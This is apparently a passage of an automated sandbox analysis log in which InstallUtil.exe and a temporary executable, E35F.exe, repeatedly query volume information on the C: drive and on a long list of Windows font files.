Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\E35F.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
